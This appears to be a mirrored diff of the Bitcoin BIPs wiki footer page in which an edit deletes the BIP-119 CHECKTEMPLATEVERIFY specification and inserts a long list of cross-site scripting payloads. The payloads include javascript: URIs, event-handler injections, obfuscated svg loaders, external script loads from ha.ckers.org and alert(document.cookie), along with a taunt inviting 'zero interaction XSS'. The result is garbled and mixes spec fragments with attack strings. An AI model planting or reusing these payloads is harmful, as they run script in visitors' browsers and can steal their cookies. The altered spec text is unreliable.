mirror of
https://github.com/bitcoin/bips.git
synced 2026-08-03 18:21:54 +00:00
Updated _Footer (markdown)
ventager
183
_Footer.md
183
_Footer.md
@@ -1,129 +1,100 @@
|
||||
##
|
||||
`<pre>
|
||||
BIP: 119
|
||||
Layer: Consensus (soft fork)
|
||||
Title: CHECKTEMPLATEVERIFY
|
||||
Author: Jeremy Rubin <diane.steeling@mail.com>
|
||||
Comments-URI: https://github.com/bitcoin/bips/wiki/Comments:BIP-0119
|
||||
Status: Draft
|
||||
Type: Standards Track
|
||||
Created: 2020-01-06
|
||||
License: BSD-3-Clause
|
||||
</pre>
|
||||
" onfocus="alert(1)" name="bounty
|
||||
(Append #bounty to the URL and enjoy your zero interaction XSS )
|
||||
|
||||
==Abstract==
|
||||
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
|
||||
|
||||
This BIP proposes a new opcode, OP_CHECKTEMPLATEVERIFY, to be activated
|
||||
as a change to the semantics of OP_NOP4.
|
||||
# Internet Explorer, Edge
|
||||
<svg><script>alert(1)<p>
|
||||
|
||||
==Summary==
|
||||
# Firefox
|
||||
|
||||
OP_CHECKTEMPLATEVERIFY uses opcode OP_NOP4 (0xb3) as a soft fork upgrade.
|
||||
<svg><x><script>alert(1)</x>
|
||||
|
||||
OP_CHECKTEMPLATEVERIFY does the following:
|
||||
# Common
|
||||
|
||||
* There is at least one element on the stack, fail otherwise
|
||||
* The element on the stack is 32 bytes long, NOP otherwise
|
||||
* The DefaultCheckTemplateVerifyHash of the transaction at the current input index is equal to the element on the stack, fail otherwise
|
||||
'';!--"<XSS>=&{()}
|
||||
|
||||
The DefaultCheckTemplateVerifyHash commits to the serialized version, locktime, scriptSigs hash (if any
|
||||
non-null scriptSigs), number of inputs, sequences hash, number of outputs, outputs hash, and
|
||||
currently executing input index.
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
|
||||
The recommended standardness rules additionally:
|
||||
<IMG SRC="javascript:alert('XSS');">
|
||||
|
||||
* Reject non-32 byte as SCRIPT_ERR_DISCOURAGE_UPGRADABLE_NOPS.
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
|
||||
==Motivation==
|
||||
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||
|
||||
This BIP introduces a transaction template, a simple spending restriction that
|
||||
pattern matches a transaction against a hashed transaction specification.
|
||||
OP_CHECKTEMPLATEVERIFY reduces many of the trust, interactivity, and storage
|
||||
requirements inherent with the use of pre-signing in applications.
|
||||
For more details on applications, please see the references.
|
||||
<IMG SRC=javascript:alert("XSS")>
|
||||
|
||||
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
|
||||
|
||||
<a onmouseover="alert(document.cookie)">xxs link</a>
|
||||
|
||||
<a onmouseover=alert(document.cookie)>xxs link</a>
|
||||
|
||||
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
|
||||
|
||||
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||
|
||||
<IMG SRC=# onmouseover="alert('xxs')">
|
||||
|
||||
<IMG SRC= onmouseover="alert('xxs')">
|
||||
|
||||
<IMG onmouseover="alert('xxs')">
|
||||
|
||||
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
|
||||
|
||||
<IMG SRC=javascript:alert(
|
||||
'XSS')>
|
||||
|
||||
<IMG SRC=javascript:a&
|
||||
#0000108ert('XSS')>
|
||||
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
|
||||
<IMG SRC="jav ascript:alert('XSS');">
|
||||
|
||||
<IMG SRC="jav	ascript:alert('XSS');">
|
||||
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
|
||||
<IMG SRC="jav
ascript:alert('XSS');">
|
||||
|
||||
<IMG SRC="  javascript:alert('XSS');">
|
||||
|
||||
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
|
||||
|
||||
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
|
||||
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
||||
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
|
||||
|
||||
<SCRIPT SRC=//ha.ckers.org/.j>
|
||||
|
||||
<IMG SRC="javascript:alert('XSS')"
|
||||
|
||||
<iframe src=http://ha.ckers.org/scriptlet.html <
|
||||
|
||||
\";alert('XSS');//
|
||||
|
||||
|
||||
==Detailed Specification==
|
||||
|
||||
The below code is the main logic for verifying CHECKTEMPLATEVERIFY, described
|
||||
in pythonic pseudocode. The canonical specification for the semantics of
|
||||
OP_CHECKTEMPLATEVERIFY as implemented in C++ in the context of Bitcoin Core can
|
||||
be seen in the reference implementation.
|
||||
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
|
||||
|
||||
The execution of the opcode is as follows:
|
||||
<source lang="python">
|
||||
def execute_bip_119(self):
|
||||
# Before soft-fork activation / failed activation
|
||||
# continue to treat as NOP4
|
||||
if not self.flags.script_verify_default_check_template_verify_hash:
|
||||
# Potentially set for node-local policy to discourage premature use
|
||||
if self.flags.script_verify_discourage_upgradable_nops:
|
||||
return self.errors_with(errors.script_err_discourage_upgradable_nops)
|
||||
return self.return_as_nop()
|
||||
|
||||
# CTV always requires at least one stack argument
|
||||
if len(self.stack) < 1:
|
||||
return self.errors_with(errors.script_err_invalid_stack_operation)
|
||||
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
|
||||
|
||||
# CTV only verifies the hash against a 32 byte argument
|
||||
if len(self.stack[-1]) == 32:
|
||||
# Ensure the precomputed data required for anti-DoS is available,
|
||||
# or cache it on first use
|
||||
if self.context.precomputed_ctv_data == None:
|
||||
self.context.precomputed_ctv_data = self.context.tx.get_default_check_template_precomputed_data()
|
||||
<BODY BACKGROUND="javascript:alert('XSS')">
|
||||
|
||||
# If the hashes do not match, return error
|
||||
if stack[-1] != self.context.tx.get_default_check_template_hash(self.context.nIn, self.context.precomputed_ctv_data):
|
||||
return self.errors_with(errors.script_err_template_mismatch)
|
||||
<IMG DYNSRC="javascript:alert('XSS')">
|
||||
|
||||
return self.return_as_nop()
|
||||
<IMG LOWSRC="javascript:alert('XSS')">
|
||||
|
||||
# future upgrade can add semantics for this opcode with different length args
|
||||
# so discourage use when applicable
|
||||
if self.flags.script_verify_discourage_upgradable_nops:
|
||||
return self.errors_with(errors.script_err_discourage_upgradable_nops)
|
||||
else:
|
||||
return self.return_as_nop()
|
||||
</source>
|
||||
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
|
||||
|
||||
The computation of this hash can be implemented as specified below (where self
|
||||
is the transaction type). Care must be taken that in any validation context,
|
||||
the precomputed data must be initialized to prevent Denial-of-Service attacks.
|
||||
Any implementation *must* cache these parts of the hash computation to avoid
|
||||
quadratic hashing DoS. All variable length computations must be precomputed
|
||||
including hashes of the scriptsigs, sequences, and outputs. See the section
|
||||
"Denial of Service and Validation Costs" below. This is not a performance
|
||||
optimization.
|
||||
<IMG SRC='vbscript:msgbox("XSS")'>
|
||||
|
||||
<source lang="python">
|
||||
<IMG SRC="livescript:[code]">
|
||||
|
||||
def ser_compact_size(l):
|
||||
r = b""
|
||||
if l < 253:
|
||||
# Serialize as unsigned char
|
||||
r = struct.pack("B", l)
|
||||
elif l < 0x10000:
|
||||
# Serialize as unsigned char 253 followed by unsigned 2 byte integer (little endian)
|
||||
r = struct.pack("<BH", 253, l)
|
||||
elif l < 0x100000000:
|
||||
# Serialize as unsigned char 254 followed by unsigned 4 byte integer (little endian)
|
||||
r = struct.pack("<BI", 254, l)
|
||||
else:
|
||||
# Serialize as unsigned char 255 followed by unsigned 8 byte integer (little endian)
|
||||
r = struct.pack("<BQ", 255, l)
|
||||
return r
|
||||
|
||||
def ser_string(s):
|
||||
return ser_compact_size(len(s)) + s
|
||||
|
||||
class CTxOut:
|
||||
def serialize(self):
|
||||
r = b""
|
||||
# serialize as signed 8 byte integer (little endian)
|
||||
r += struct.pack("<q", self.nValue)
|
||||
r += ser_string(self.scriptPubKey)
|
||||
return r
|
||||
|
||||
def get_default_check_template_precomputed_data(self):
|
||||
result = {}
|
||||
# If there are no s`**
|
||||
<BODY ONLOAD=alert('XSS')>
|
||||
Reference in New Issue
Block a user